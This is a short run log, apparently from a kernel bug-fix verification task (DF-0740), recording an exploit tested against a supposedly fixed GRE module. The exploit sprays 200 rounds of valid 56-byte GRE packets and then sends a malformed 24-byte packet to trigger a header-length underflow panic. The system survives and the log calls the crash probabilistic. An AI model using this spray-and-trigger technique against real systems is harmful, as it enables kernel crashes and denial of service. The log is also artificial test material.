DF-0740 / fix_run.log
BUILD=0 gre0 === Running exploit on FIXED module === [*] DF-0740 exploit: spray 200 rounds then trigger [*] Spray: 56-byte valid GRE with 0x45 at byte 36 [*] Trigger: 24-byte malformed GRE (hlen=36, underflow) [*] If mbuf reused, KASSERT(m_len >= hlen) panics [*] Round 0/200... [*] Round 10/200... [*] Round 20/200... [*] Round 30/200... [*] Round 40/200... [*] Round 50/200... [*] Round 60/200... [*] Round 70/200... [*] Round 80/200... [*] Round 90/200... [*] Round 100/200... [*] Round 110/200... [*] Round 120/200... [*] Round 130/200... [*] Round 140/200... [*] Round 150/200... [*] Round 160/200... [*] Round 170/200... [*] Round 180/200... [*] Round 190/200... [!] Survived 200 rounds. Bug present but crash is probabilistic. EXPLOIT_EXIT=0 === GUEST STATUS === 7:12AM up 2 mins, 0 users, load averages: 0.03, 0.04, 0.01 === No panic? ===